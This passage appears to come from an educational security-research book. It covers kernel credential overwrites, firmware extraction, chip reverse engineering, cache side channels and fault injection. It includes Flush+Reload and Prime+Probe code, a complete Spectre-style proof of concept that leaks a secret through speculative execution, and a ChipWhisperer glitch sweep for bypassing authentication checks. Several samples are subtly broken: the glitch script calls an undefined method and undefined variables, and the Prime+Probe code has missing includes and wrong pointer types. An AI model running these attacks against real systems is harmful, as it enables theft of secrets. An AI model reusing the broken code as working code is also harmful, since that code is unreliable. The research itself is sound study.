(gdb) continueThe nokaslr flag in that QEMU command is doing a lot of quiet work: it disables Kernel Address Space Layout Randomization for the debug session, so the kernel and its modules load at fixed, predictable addresses instead of random ones. That’s a fair trade during development, since chasing a moving target while you’re still figuring out an exploit’s basic logic is a waste of time, but it’s exactly the kind of shortcut that has to get removed again before an exploit is considered validated. Real kernels layer several defenses here: KASLR randomizes kernel and module base addresses the same way userland ASLR randomizes process memory, while SMEP (Supervisor Mode Execution Prevention) and SMAP (Supervisor Mode Access Prevention) stop the kernel from executing or even touching userland pages directly, which closes off a whole class of older exploitation techniques that relied on redirecting kernel execution into attacker-supplied userland code. The sane research workflow mirrors the userland one from earlier chapters: start on a debug kernel with reduced mitigations so you can develop and understand the exploit logic without fighting randomization, then progressively re-enable protections until you’re validating against a fully hardened configuration.
Kernel data structures are worth knowing by shape, not just by name, because a lot of privilege escalation exploits boil down to overwriting one specific field in one specific structure:
struct task_struct {
volatile long state;
void *stack;
struct task_struct *parent;
struct cred *cred;
// ...
};
struct cred {
atomic_t usage;
kuid_t uid;
kgid_t gid;
// ...
};task_struct is the kernel’s representation of a process, and buried inside it is a pointer to a cred structure holding that process’s credentials, its UID, GID, and capabilities. This is exactly why the cred structure is such a popular target: a kernel exploit that can overwrite a process’s cred pointer, or the fields inside the structure it points to, can turn an ordinary unprivileged process into root without ever touching a password or an authentication check. It’s a beautifully direct primitive once you have arbitrary kernel write, which is a big part of why so much kernel exploitation research is ultimately in service of getting exactly that primitive.
Hypervisors add yet another layer on top of all this, because now the “privileged” code isn’t just trusted by one operating system, it’s trusted by every guest VM running on the host, and a bug here can mean a guest escaping its VM entirely and reaching the host or other tenants. The attack surface is largely about emulation: device emulation code has to process input coming from a guest that the host doesn’t fully trust, and paravirtualized interfaces like virtio use ring buffers and shared queues that are, in effect, complex, attacker-influenced data structures parsed by privileged host code. VM exit handling (the mechanism by which control transfers from guest back to hypervisor) and the shared memory regions used for fast guest-host communication are both dense with exactly the kind of parsing complexity that tends to hide bugs, which is why this surface gets so much dedicated research attention on its own.
Given how much damage a mistake here can cause, working with privileged and hypervisor code demands correspondingly strict safety discipline. Everything happens on snapshot-capable hypervisors with disposable images, specifically so a crashed or corrupted kernel is a five-second rollback rather than a lost afternoon, and debugging traffic stays on isolated management networks rather than anything resembling a production path. Practically, that means every research workflow here is built around the same three pieces: a reliable kernel debugging connection, an automated harness that can reproduce the crash or the exploit attempt without manual babysitting, and thorough log collection, because kernel crashes are notoriously harder to reason about after the fact than userland ones if you didn’t capture enough context while they happened.
Embedded Systems and Firmware Hacking
Move away from general-purpose computers and into embedded devices, and a lot of the assumptions from earlier chapters quietly stop holding. There’s often no memory protection unit worth speaking of, no ASLR, sometimes no operating system at all, just firmware running directly on the metal. That sounds like it should make things easier for an attacker, and in some ways it does, but embedded devices bring their own headaches: proprietary hardware with sparse documentation, tiny amounts of memory, and, because these things ship by the millions and rarely get patched, an attack surface that’s both enormous and often stays open for years after a bug is found. This chapter builds a structured approach to firmware work: getting the binary off the device, understanding what it’s doing, running it somewhere you can poke at it, and finding the bugs.
Most embedded targets are built around a microcontroller or a system-on-chip that bundles the processor, memory, and peripherals onto a single piece of silicon. ARM’s Cortex-M and Cortex-A families cover a huge share of the market, alongside a growing number of RISC-V parts and plenty of older, legacy architectures still quietly running critical infrastructure somewhere. These devices frequently run no traditional OS at all, or at most a lightweight real-time operating system, which changes the exploitation calculus quite a bit: there’s often no process isolation to break out of, because there’s no process isolation to begin with. Understanding a target’s memory layout, its boot sequence, how it talks to peripherals, and its power management behavior all directly shape what an exploit even looks like on that specific device.
Before any of that analysis can happen, you need the firmware binary itself, and there’s a hierarchy of methods for getting it, roughly ordered from easiest to most invasive. The friendliest option is just downloading an official vendor update, since manufacturers frequently ship firmware images in the clear, or with only token obfuscation, as part of normal update mechanisms. If that’s not available, serial debug interfaces (UART, JTAG, SWD) often give you direct read access to memory or flash without needing any exploit at all, assuming the vendor didn’t lock them down. Failing that, physically desoldering the flash chip and reading it with a dedicated programmer gets you a complete, guaranteed-accurate image, though obviously at the cost of destructively modifying the device. And in between, there’s dumping firmware at runtime through a debug interface or through a software vulnerability that hands you read access without needing to touch the board with a soldering iron.
Once you actually have bytes, the first job is figuring out what you’re looking at, since embedded firmware images rarely come with a helpful “this is an ARM binary starting at offset X” label attached:
#!/usr/bin/env python3
import struct
import binascii
def analyze_firmware_header(firmware_data):
"""Analyze common firmware header formats"""
# Common header structures
header_formats = [
('>IIII', 'TI', 0), # Texas Instruments
('>IHHH', 'ARM', 0), # ARM Cortex
('<IIII', 'MIPS', 0) # MIPS
]
for fmt, arch, offset in header_formats:
try:
values = struct.unpack_from(fmt, firmware_data, offset)
print(f"{arch} header: {[hex(x) for x in values]}")
if arch == 'ARM':
# ARM vector table
reset_vector = values[0]
print(f"Reset vector: 0x{reset_vector:08x}")
except struct.error:
continue
def extract_filesystems(firmware_data):
"""Extract embedded filesystems using magic numbers"""
filesystems = {
b'\x53\xef': ('ext2/ext3', 0),
b'\x68\x73\x71\x73': ('squashfs', 0),
b'\x27\x05\x19\x56': ('cramfs', 0),
}
for magic, (fs_type, offset) in filesystems.items():
if magic in firmware_data:
pos = firmware_data.find(magic)
print(f"Found {fs_type} at offset 0x{pos:x}")
# Example usage
with open('firmware.bin', 'rb') as f:
firmware = f.read()
analyze_firmware_header(firmware)
extract_filesystems(firmware)The script above is doing header-format guessing and filesystem-signature scanning, which sounds crude but is genuinely how a lot of real firmware triage starts: try a handful of known header layouts for common vendors, and scan the raw bytes for the magic numbers that mark the start of an embedded filesystem (ext2/ext3, SquashFS, cramfs, whichever). Once you’ve located and extracted a filesystem, you often find a whole embedded Linux userland sitting inside, config files, binaries, and all, which is frequently a much richer source of vulnerabilities than the bootloader or kernel image ever was. From there, analysis splits the same way it does for any binary: static analysis with a disassembler to find entry points, interrupt vector tables, and suspicious code patterns without running anything, and dynamic analysis under an emulator to actually execute the firmware and fuzz it safely, off the physical device. The catch with emulation is peripherals: firmware often hangs or misbehaves the moment it tries to talk to hardware the emulator doesn’t model, which means you frequently end up writing custom peripheral emulation or patching the firmware itself just to get it running far enough to be useful.
If you’d rather talk to the device directly than extract and emulate its firmware, a UART serial connection is often the easiest way in, and it’s worth understanding what’s actually happening at the register level rather than treating it as a black box:
// Common UART initialization for ARM Cortex-M
#include <stdint.h>
#define UART0_BASE 0x4000C000
#define UART0_DR (*(volatile uint32_t*)(UART0_BASE + 0x00))
#define UART0_FR (*(volatile uint32_t*)(UART0_BASE + 0x18))
#define UART0_IBRD (*(volatile uint32_t*)(UART0_BASE + 0x24))
#define UART0_FBRD (*(volatile uint32_t*)(UART0_BASE + 0x28))
#define UART0_LCRH (*(volatile uint32_t*)(UART0_BASE + 0x2C))
#define UART0_CR (*(volatile uint32_t*)(UART0_BASE + 0x30))
void uart_init(void) {
// Disable UART
UART0_CR = 0;
// Set baud rate (115200)
UART0_IBRD = 8;
UART0_FBRD = 44;
// 8N1, FIFO enabled
UART0_LCRH = 0x70;
// Enable UART, TX, RX
UART0_CR = 0x301;
}
void uart_putc(char c) {
while (UART0_FR & 0x20); // Wait while TX FIFO full
UART0_DR = c;
}
char uart_getc(void) {
while (UART0_FR & 0x10); // Wait while RX FIFO empty
return UART0_DR;
}
void main() {
uart_init();
uart_putc('H');
uart_putc('i');
uart_putc('\n');
while (1) {
char c = uart_getc();
uart_putc(c); // Echo back
}
}Notice that every single register in this example is just a fixed memory address (0x4000C000 and offsets from it), written to directly with no operating system, no driver abstraction, and no permission check standing in the way. That’s memory-mapped I/O, and it’s the norm rather than the exception in embedded firmware: hardware peripherals show up as ordinary memory addresses, so reading and writing them is just a pointer dereference. It’s also exactly why embedded vulnerability research skews toward a slightly different set of bug patterns than server-side software does. Hardcoded credentials turn up constantly in web management interfaces and serial consoles, since a lot of embedded vendors treat “it’s not internet-facing by default” as a substitute for actual authentication. Buffer overflows are everywhere in network-facing services and command parsers, often because the firmware was written by embedded engineers optimizing for code size and speed rather than security. Integer overflows are especially common given how tight memory budgets are on these devices, and beyond memory bugs, plain logic flaws in device management functionality (a debug backdoor left in, an insufficiently checked admin function) are a real and recurring category all on their own.
Actually exploiting a bug once you’ve found it looks different here too. On one hand, a lot of embedded devices simply don’t have DEP, ASLR, or stack canaries at all, so once you find a bug, turning it into code execution can be far more direct than the multi-stage dance required against a modern desktop or server target. On the other hand, you’re often working with a few kilobytes of RAM instead of gigabytes, so shellcode has to be genuinely tiny and careful. Interrupt handling adds its own wrinkle, since firmware often can’t be interrupted safely mid-operation without corrupting device state, and a lot of embedded exploitation isn’t after a transient shell at all, it’s after persistence, meaning the goal is frequently to modify the firmware image itself so the compromise survives a power cycle, rather than just achieving code execution in the running instance.
Secure boot has become the standard defense against exactly that persistence goal: the idea is that the device cryptographically verifies its firmware image before executing it, so a modified or unsigned image simply won’t run. Attacking that verification tends to fall into three buckets. Sometimes the signature verification logic itself has an implementation bug, the classic case being a comparison that can be short-circuited or a memory-safety bug in the verification code itself. Sometimes the signing key leaks, whether through a supply chain mistake or bad key management, which defeats the whole scheme regardless of how well the verification code is written. And sometimes an attacker doesn’t break the crypto at all, they just roll the device back to an older, legitimately signed firmware version that happens to have a known vulnerability, since a lot of secure boot implementations don’t bother enforcing monotonic version numbers. Research into any of these needs real care around handling cryptographic material and running a proper disclosure process, since a working secure boot bypass is about as high-impact as embedded findings get.
All of this comes together nicely in something as mundane as a consumer router. Start by pulling an official firmware image and unpacking its embedded filesystem, then get that filesystem running under emulation so you have a controllable, disposable copy of the device’s software stack. From there, static analysis and fuzzing against the exposed network services (the web admin interface is almost always the juiciest target) turn up the actual vulnerabilities, and the final exploitation step usually aims at persistence: modifying the firmware image so the compromise survives a reboot, rather than settling for a shell that disappears the moment someone power-cycles the router.
Hardware Reverse Engineering
Everything covered so far has assumed you already understand roughly what the hardware is doing and are focused on the software or firmware running on top of it. This chapter is about the case where the hardware itself is the unknown: an unlabeled chip on a board, a custom ASIC, a security feature nobody’s documented. The guiding principle here is to work from the outside in, always preferring the least destructive technique that’ll actually answer your question, and only escalating to something invasive once the non-invasive options are genuinely exhausted. Partly that’s practical (invasive techniques are one-shot, you can’t un-decap a chip), and partly it’s just good methodology: you learn more, faster, by exhausting cheap observation before reaching for a scalpel.
So the natural starting point is simple observation. A careful visual inspection of a PCB tells you a surprising amount: component markings identify specific chips you can look up datasheets for, board layout hints at signal routing, and exposed test points are often literally there because an engineer needed debug access during development and never bothered to remove it. Once you’ve identified what’s on the board, datasheet research fills in the operational details vendors are usually happy to publish, since it’s marketing material for them. From there, passively monitoring the buses connecting components (SPI, I2C, UART, whatever’s in use) reveals a lot about what the device actually does at runtime, and even power consumption and timing patterns, watched carefully without touching a single data line, can hint at what internal operation is happening at a given moment, since different operations draw power differently.
Bus monitoring in particular pays off fast, because most embedded components talk to each other over a small number of well-understood, well-documented protocols. Here’s a simplified SPI decoder that shows the actual shape of the work: capture raw logic-analyzer samples, reconstruct byte-level frames from the clock and data lines, then interpret those bytes against a table of known commands, in this case for an SPI flash chip:
#!/usr/bin/env python3
import numpy as np
import matplotlib.pyplot as plt
class SPIAnalyzer:
def __init__(self, cs_pin, clk_pin, mosi_pin, miso_pin):
self.cs = cs_pin
self.clk = clk_pin
self.mosi = mosi_pin
self.miso = miso_pin
def decode_spi_frame(self, capture_data):
"""Decode SPI frames from logic analyzer capture"""
frames = []
current_frame = []
frame_active = False
for sample in capture_data:
cs_state = sample[self.cs]
clk_state = sample[self.clk]
clk_prev = getattr(self, 'prev_clk', 0)
# Frame start
if cs_state == 0 and not frame_active:
frame_active = True
current_frame = []
self.bit_count = 0
# Frame end
elif cs_state == 1 and frame_active:
frames.append(current_frame)
frame_active = False
# Data capture on clock edges
if frame_active and clk_state == 1 and clk_prev == 0:
# Rising edge - capture data
mosi_bit = sample[self.mosi]
miso_bit = sample[self.miso]
current_frame.append((mosi_bit, miso_bit))
self.bit_count += 1
self.prev_clk = clk_state
return frames
def analyze_flash_commands(self, frames):
"""Analyze SPI flash command sequences"""
flash_commands = {
0x03: "READ",
0x02: "WRITE",
0x06: "WRITE_ENABLE",
0x05: "READ_STATUS",
0x9F: "READ_ID"
}
for i, frame in enumerate(frames):
if len(frame) >= 8: # At least one byte
first_byte = 0
for bit in range(8):
first_byte |= (frame[bit][0] << (7 - bit))
cmd_name = flash_commands.get(first_byte, "UNKNOWN")
print(f"Frame {i}: {cmd_name} (0x{first_byte:02x}")
# Parse addresses for read/write commands
if first_byte in [0x03, 0x02] and len(frame) >= 32:
address = 0
for bit in range(8, 32):
address |= (frame[bit][0] << (31 - bit))
print(f" Address: 0x{address:06x}")
# Example usage
analyzer = SPIAnalyzer(cs_pin=0, clk_pin=1, mosi_pin=2, miso_pin=3)
capture_data = np.load('spi_capture.npy')
frames = analyzer.decode_spi_frame(capture_data)
analyzer.analyze_flash_commands(frames)When bus monitoring and datasheets aren’t enough, because the interesting logic is buried inside a chip that isn’t exposing it over any external bus, the next step is physically opening the chip up, and this is where the work stops being reversible. Decapsulation strips away the plastic or ceramic packaging, usually with a targeted chemical etch or careful mechanical grinding, to expose the actual silicon die underneath. Once the die is exposed, microprobing lets you physically contact individual traces on the die with fine probes to measure signals directly, which is about as close to ground truth as hardware analysis gets. At the extreme end, focused ion beam (FIB) systems and scanning electron microscopes let you image, and in the FIB’s case actually modify, circuits at a nanometer scale, cutting or rerouting individual connections. That’s genuinely powerful, but it also needs equipment and facilities well outside a typical hobbyist lab.
Once the die is exposed and imaged, the actual analysis work is basically reverse-engineering a schematic from a picture. High-resolution imaging across the die’s metal layers lets you trace individual connections and recognize standard cell patterns (the small, repeated logic gate layouts that most digital design flows are built from), and from there you can reconstruct something close to a netlist, a structured, schematic-level description of how everything’s wired together. The payoff is being able to point at a specific region of silicon and say with confidence “that’s the cryptographic core,” “that’s the memory controller,” “that’s the security-relevant block,” rather than treating the whole die as an opaque blob.
Naturally, chip vendors know this kind of analysis happens, and modern security-sensitive hardware pushes back against it directly. Circuit obfuscation deliberately uses non-standard cell layouts specifically to make automated pattern recognition harder. Active shield networks are literal meshes of conductive traces layered over sensitive circuitry that detect physical tampering and can trigger the chip to erase its secrets the moment continuity breaks. Memory encryption keeps firmware confidential even if someone manages to physically read the storage. And tamper-resistance logic broadly is designed to zeroize secrets the instant it detects an intrusion attempt, turning “I got physical access to the chip” into “I got physical access to a chip that just wiped itself.”
None of this is a cheap hobby, to be fair. Imaging needs real microscopy capability, probing needs precision manipulation equipment that isn’t going to accidentally short two adjacent traces, and signal work leans on logic analyzers and oscilloscopes alongside specialized circuit-extraction and simulation software. The good news is that open-source tooling has genuinely lowered the floor for basic research over the last several years, so you don’t need an industrial lab to get started, just to go deep.
It’s also worth being upfront that hardware reverse engineering sits in genuinely murky legal territory, and that territory varies a lot by jurisdiction. Interoperability research (figuring out how a device works so you can build something compatible with it) tends to enjoy real legal protection in a lot of places. Circumventing copy protection or DRM is a very different story and often isn’t protected at all, even when the underlying technique is identical. The practical takeaway for this research is to stay firmly on the security-research and educational side of that line, and to run responsible, coordinated disclosure with affected vendors whenever the analysis turns up something worth reporting.
Side-Channel and Microarchitectural Attacks
Every technique so far has been about corrupting something, a variable, a return address, a piece of firmware. Side-channel attacks are a completely different move: they don’t corrupt anything at all. They just watch. The insight underlying this entire chapter is that a chip doesn’t just compute a result, it also has to physically do that computation, and physical computation leaves physical traces. It takes time. It draws power. It radiates a little electromagnetic noise. It leaves data sitting in a cache. None of that is supposed to be observable by an attacker, but none of it is perfectly hidden either, and if any of those traces correlate with a secret the chip is processing, like a cryptographic key, that correlation is a leak whether anyone designed it to be or not.
The general recipe behind every side-channel attack is the same three steps, dressed up differently depending on the channel. First, characterize exactly what’s leaking and how strongly, because a weak, noisy correlation still counts as a leak in principle, it’s just harder to exploit in practice. Second, actually acquire enough clean measurements (traces) of the target operation, which usually means fighting noise, since real measurement setups pick up all kinds of interference you don’t care about alongside the signal you do. Third, apply statistical analysis to pull the secret out of a pile of noisy traces, something you almost never manage from a single measurement, but which becomes very tractable once you’ve collected enough of them and the noise starts averaging out. The channels themselves vary (timing, power consumption, electromagnetic emissions, even acoustic noise from a machine’s components, and cache behavior), but this same acquire-and-average methodology underlies all of them.
Timing is the most conceptually simple channel to start with: if the time an operation takes depends even slightly on secret data, you can potentially recover that secret just by measuring how long things take. This bites cryptographic code specifically because a natural, naive implementation often branches on secret bits, comparing a password byte by byte and stopping early on a mismatch, say, and each of those branches can take a measurably different amount of time depending on which value it hit. Do that enough times with enough statistical care and the timing differences alone leak the secret without ever touching the actual data. The standard defense is constant-time programming: writing code that takes exactly the same amount of time regardless of what the secret value actually is, which sounds simple but is notoriously easy to get subtly wrong, since compilers and hardware both introduce their own timing variance that a programmer doesn’t fully control.
Power analysis takes the same underlying idea and applies it to a different physical quantity: how much current a chip draws while it computes. Simple Power Analysis (SPA) is the direct version, where you literally look at a power trace and can often identify which operations are happening just from the trace’s shape, since different instructions and different rounds of a cryptographic algorithm draw visibly different amounts of power. Differential Power Analysis (DPA) is the statistical, more powerful version: instead of eyeballing one trace, you collect many traces, form a hypothesis about what the power consumption should look like for each possible value of a small piece of the secret key, and correlate your hypotheses against the real measurements to see which guess actually matches. DPA is dramatically more sensitive than SPA precisely because it doesn’t need any single trace to be individually readable, it just needs the correlation to hold up statistically across many traces. In practice this requires real current-measurement hardware and a genuinely careful setup, but it’s one of the most consistently effective side-channel techniques against unprotected cryptographic hardware.
Cache attacks move away from analog physical measurement and back onto something purely digital: the fact that a cache hit and a cache miss take measurably different amounts of time, and that difference reveals which memory addresses have recently been accessed, by anyone, including a victim process you have no other visibility into. A few named variants show up constantly in the literature, each with a slightly different angle on the same idea. Prime+Probe fills (“primes”) a cache set with your own data, waits for the victim to run, then measures (“probes”) how long it takes to access your own data again, since a slower access means the victim evicted your data by using that same cache set. Flush+Reload works when you share memory with the victim (a shared library, for instance): you flush a memory line out of the cache entirely, let the victim run, then measure how fast reloading that exact line is, and a fast reload proves the victim touched it in the meantime. Evict+Time is a variant that correlates a victim’s overall execution time with whether a specific piece of cache content was evicted beforehand, useful when you can’t cleanly separate individual accesses the way Flush+Reload can. All three need decent knowledge of cache geometry or shared memory access to work reliably, but none of them need any bug in the target program at all, they work against code that’s completely correct by every conventional definition. Here’s Flush+Reload and Prime+Probe implemented directly against x86 cache-control instructions:
#include <x86intrin.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#define CACHE_HIT_THRESHOLD 80
#define ARRAY_SIZE 256
// Flush+Reload attack implementation
void flush_reload(void* target) {
volatile uint8_t* addr = (volatile uint8_t*)target;
uint64_t time1, time2;
unsigned int junk = 0;
// Flush the target from cache
_mm_clflush(target);
// Memory barrier
_mm_mfence();
// Measure access time
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD) {
printf("Cache hit! Time: %lu cycles\n", time2);
}
}
// Prime+Probe attack implementation
void prime_probe(size_t set_index) {
// This is a simplified implementation
// Real implementation would use knowledge of cache geometry
uint64_t times[ARRAY_SIZE];
volatile uint8_t* array = malloc(ARRAY_SIZE * 4096);
// Prime: fill the cache set
for (int i = 0; i < ARRAY_SIZE; i++) {
_mm_clflush(&array[i * 4096]);
}
for (int i = 0; i < ARRAY_SIZE; i++) {
array[i * 4096] = 1;
}
// Victim execution would happen here
// Probe: measure access times
for (int i = 0; i < ARRAY_SIZE; i++) {
uint64_t time1 = __rdtscp(&i);
volatile uint8_t data = array[i * 4096];
uint64_t time2 = __rdtscp(&i) - time1;
times[i] = time2;
}
// Analyze results for eviction patterns
for (int i = 0; i < ARRAY_SIZE; i++) {
if (times[i] > CACHE_HIT_THRESHOLD) {
printf("Eviction at index %d: %lu cycles\n", i, times[i]);
}
}
free(array);
}
int main() {
char secret[] = "This is a secret value";
// Flush+Reload demonstration
printf("Flush+Reload attack:\n");
for (int i = 0; i < 10; i++) {
flush_reload(secret);
}
// Prime+Probe demonstration
printf("\nPrime+Probe attack:\n");
prime_probe(0);
return 0;
}A key thing to notice in that code: _mm_clflush explicitly evicts a line from every level of cache, and __rdtscp reads the CPU’s cycle counter with enough precision to distinguish a cache hit from a miss, which typically differ by well over a hundred cycles on modern hardware. That’s the entire physical basis these attacks rest on: a fast, fine-grained clock, and an instruction set that lets you deliberately manipulate cache state. Combine those two primitives creatively enough and you get a genuinely wide family of attacks, and Spectre and Meltdown are where this idea went from “clever academic trick” to “the entire industry has to patch billions of chips.”
Both exploit performance features that modern CPUs use to stay fast: out-of-order and speculative execution, where the processor starts executing instructions before it’s actually certain they should run, betting that a branch will go a particular way or a permission check will pass, purely to avoid sitting idle while it waits to find out for sure. Meltdown abuses out-of-order execution specifically around permission checks, letting a userland process transiently read kernel memory before the CPU realizes, too late, that it should have blocked the access. Spectre is more general and, frankly, scarier because it’s harder to fully close off: it abuses branch prediction, training the CPU’s predictor to expect a particular branch outcome, then supplying an input that takes the (mispredicted) speculative path into code that touches secret data. In both cases, the CPU eventually realizes the speculation was wrong and rolls back the architectural state, meaning the values themselves never officially “happen.” But here’s the catch: the microarchitectural state, cache contents in particular, doesn’t get rolled back cleanly, so a value that was only ever touched speculatively can still leave a fingerprint in the cache. Read that fingerprint back out with a cache attack like Flush+Reload, and you’ve smuggled data across a boundary the architecture itself insists was never crossed. This example demonstrates that exact chain end to end: train a branch predictor, feed it an out-of-bounds index during speculation, and recover the “impossible” read through a cache side channel:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <x86intrin.h>
unsigned int array1_size = 16;
uint8_t array1[16] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage";
void victim_function(size_t x) {
if (x < array1_size) {
uint8_t temp = array2[array1[x] * 512];
}
}
int main() {
// Initialize array2
for (int i = 0; i < 256; i++) {
for (int j = 0; j < 512; j++) {
array2[i * 512 + j] = 1;
}
}
// Train the branch predictor
for (int j = 0; j < 10; j++) {
for (int i = 0; i < array1_size; i++) {
victim_function(i);
}
}
// Flush array2 from cache
for (int i = 0; i < 256; i++) {
_mm_clflush(&array2[i * 512]);
}
// Speculative execution with out-of-bounds x
size_t malicious_x = (size_t)(secret - (char*)array1);
for (int i = 0; i < 100; i++) {
victim_function(malicious_x);
}
// Reload array2 and measure timing
int results[256];
for (int i = 0; i < 256; i++) {
int mix_i = ((i * 167) + 13) & 255;
volatile uint8_t* addr = &array2[mix_i * 512];
uint64_t time1 = __rdtscp(&mix_i);
uint8_t temp = *addr;
uint64_t time2 = __rdtscp(&mix_i) - time1;
results[mix_i] = time2;
}
// Find the cache hits
for (int i = 0; i < 256; i++) {
if (results[i] <= 80) {
printf("Hit at %d: '%c' (0x%02x)\n", i, i, i);
}
}
return 0;
}Walk through the mechanics: victim_function contains a bounds check (if (x < array1_size)) that’s completely correct as written. The attack first trains the branch predictor by calling it repeatedly with valid, in-bounds values of x, teaching the CPU to expect that branch to be taken. Then, after flushing array2 from the cache so its state is a known baseline, it calls victim_function once with malicious_x, an out-of-bounds index that happens to correspond to the address of the secret string. Because the predictor was trained to expect the bounds check to pass, the CPU speculatively executes array2[array1[x] * 512] using the out-of-bounds, secret-derived value of array1[x] before the bounds check has actually been resolved. That speculative access touches one specific 512-byte-aligned region of array2 corresponding to the secret byte’s value, and even though the CPU later discovers the bounds check failed and discards the architectural result, the cache line it speculatively touched stays warm. The final loop is just a Flush+Reload sweep across all 256 possible regions of array2, and whichever one comes back fast reveals the secret byte’s numeric value. It’s a genuinely elegant, and genuinely unsettling, chain: a completely correct bounds check gets bypassed not by breaking it, but by racing it.
Given how deep in the hardware this problem lives, defending against it needs defenses at every layer, and none of them are free. At the algorithmic level, constant-time implementations and cryptographic masking reduce how much a secret’s value can influence observable timing or power in the first place. At the hardware level, cache partitioning keeps different security domains from sharing cache sets that could leak information between them, and random delays add noise specifically to make statistical trace averaging harder for an attacker. At the system level, kernel page-table isolation (KPTI) was rolled out specifically in response to Meltdown, to stop userland from having kernel mappings present at all during normal execution, and disabling hyperthreading closes off attacks that exploit two logical cores sharing physical execution resources. Every one of these costs real performance, sometimes substantially, which is exactly why the industry response to Spectre and Meltdown was such a fraught, ongoing balancing act between security and speed rather than a clean one-time patch.
None of this stays theoretical in this research. Timing attacks in the lab reliably recover keys from intentionally vulnerable cryptographic implementations, power analysis pulls secrets out of microcontrollers with nothing more than a current probe and patience, cache attacks can monitor what a co-located virtual machine is doing from a completely separate VM sharing the same physical host, and the Spectre-style attack above reliably demonstrates transient execution leaking data that should have been architecturally invisible. All of it runs in controlled, disposable environments, since the whole point is generating clean, reproducible evidence of the leak rather than actually harming anything.
Fault Injection and Physical Attacks
Everything in the previous chapter was purely passive: watching a chip and never touching its behavior. Fault injection flips that completely. Instead of listening for an accidental leak, you deliberately push a circuit outside its normal operating conditions until it makes a mistake, and then you exploit the mistake. It sounds almost crude compared to the statistical elegance of a cache side channel, but it’s remarkably effective, precisely because digital logic is built on an assumption (stable voltage, a clean clock edge, enough time for a signal to settle) that a sufficiently precise attacker can simply violate on purpose.
The whole discipline rests on the idea of a fault model: a precise statement of what you expect to happen to the circuit’s behavior when you perturb it in a specific way, since “I zapped it and something weird happened” isn’t useful, but “this specific glitch reliably flips one bit in this specific register” is. Getting to that kind of precision means tuning injection parameters carefully, exactly when in the operation’s timeline you inject, how long the disturbance lasts, and how strong it is, because the useful zone is usually a narrow window between “did nothing” and “crashed the whole chip.” Common, well-understood fault models include single-bit flips (one bit in memory or a register changes value), instruction skips (the processor effectively skips executing one instruction entirely), and broader control-flow corruption where an entire branch decision gets scrambled.
There are several physical ways to actually induce a fault, and they trade off cost, precision, and invasiveness against each other. Voltage manipulation is the cheapest and most accessible: clock glitching injects a spike or a gap into the clock signal so a state transition doesn’t complete properly in the time it’s supposed to, power glitching briefly drops or spikes the supply voltage itself, and reset glitching triggers a spurious reset at exactly the wrong moment in a security-critical operation. All three depend heavily on precise timing synchronization with the target’s own operation, since a glitch that lands a few nanoseconds too early or too late just does nothing.
Electromagnetic fault injection steps up the precision by using a focused pulsed EM field to induce currents directly inside the target circuit, without any electrical contact at all. That buys you real spatial precision, since a tightly focused field affects a small physical region of the chip rather than the whole power rail, it’s non-invasive in the sense that you never touch the board electrically, and it tends to be highly repeatable once you’ve dialed in the right parameters. The tradeoff is needing specialized pulse generation and amplification equipment that isn’t exactly off-the-shelf.
Laser fault injection goes a step further still in precision, at the cost of being genuinely invasive. Focused laser pulses generate electron-hole pairs directly in the silicon substrate, which is enough to flip a targeted transistor’s state at a specific, chosen location on the die. That requires first decapsulating the chip (from the previous chapter) to expose the silicon, then scanning the surface to map out which physical regions correspond to which logical functionality, synchronizing pulses tightly with the target’s clock, and picking a wavelength that actually penetrates silicon effectively. It’s the most surgical fault injection technique available, and also the one demanding the most sophisticated optical equipment.
Whichever method you use to induce it, the fault itself is only useful once it maps onto a real security bypass, and a handful of patterns show up over and over. Skipping a single comparison instruction can turn a failed password check or a failed signature verification into a passing one, since the branch that was supposed to reject you just never executes. Faults injected during a cryptographic computation can reduce the effective randomness of a key or, more powerfully, enable differential fault analysis, covered in detail below, which recovers key material by comparing correct and faulty outputs. Faults can also flip bits controlling a chip’s security or privilege state directly, or cause a device to dump memory contents it should never expose, simply because the logic governing “should I be allowed to output this” broke down mid-instruction. Here’s a Python framework built around the ChipWhisperer platform (a widely used, purpose-built board for exactly this kind of research) that automates sweeping through timing offsets and glitch widths to find the window where a fault reliably bypasses an authentication check:
#!/usr/bin/env python3
import time
import numpy as np
import matplotlib.pyplot as plt
from chipwhisperer import ChipWhisperer
class VoltageGlitcher:
def __init__(self, scope):
self.scope = scope
self.setup_glitch_parameters()
def setup_glitch_parameters(self):
"""Configure glitch parameters for target device"""
self.scope.glitch.ext_offset = 0
self.scope.glitch.repeat = 1
self.scope.glitch.output = 'enable_only'
def find_glitch_window(self, target_function, start_offset, end_offset, step=1):
"""Sweep glitch timing to find successful fault window"""
successful_glitches = []
for offset in range(start_offset, end_offset, step):
self.scope.glitch.offset = offset
for width in [10, 20, 30, 40, 50]: # Glitch widths in ns
self.scope.glitch.width = width
# Try glitching multiple times
for attempt in range(10):
result = target_function()
if self.is_successful_fault(result):
successful_glitches.append((offset, width))
print(f"Successful glitch: offset={offset}, width={width}")
break
return successful_glitches
def is_successful_fault(self, result):
"""Determine if glitch produced successful fault"""
# Implementation depends on target
return result != expected_behavior
def glitch_authentication(self, password_attempt):
"""Target function for glitching authentication bypass"""
def authentication_routine():
# Simulate authentication check
if password_attempt == correct_password:
return "AUTH_SUCCESS"
else:
return "AUTH_FAILURE"
return self.find_glitch_window(authentication_routine, 1000, 2000)
# Example usage
scope = ChipWhisperer()
glitcher = VoltageGlitcher(scope)
# Find glitch parameters for authentication bypass
success_params = glitcher.glitcher_authentication("wrong_password")
print(f"Successful glitch parameters: {success_params}")The core idea in that script is a nested sweep: for every candidate timing offset, try a handful of glitch widths, and for each combination, attempt the target operation several times, since fault injection is inherently probabilistic and the same parameters won’t succeed every single attempt. Applied against a real secure boot implementation, this same methodology plays out as a fairly predictable sequence: first locate the bootloader’s entry point and its signature verification routine through static analysis, then use power trace analysis to get a rough sense of when that verification is actually executing (since power draw visibly changes when the chip is doing cryptographic work), then sweep glitch timing and width right around that window, and finally confirm that a successful glitch actually caused the verification failure branch to be skipped rather than just crashing the device outright.
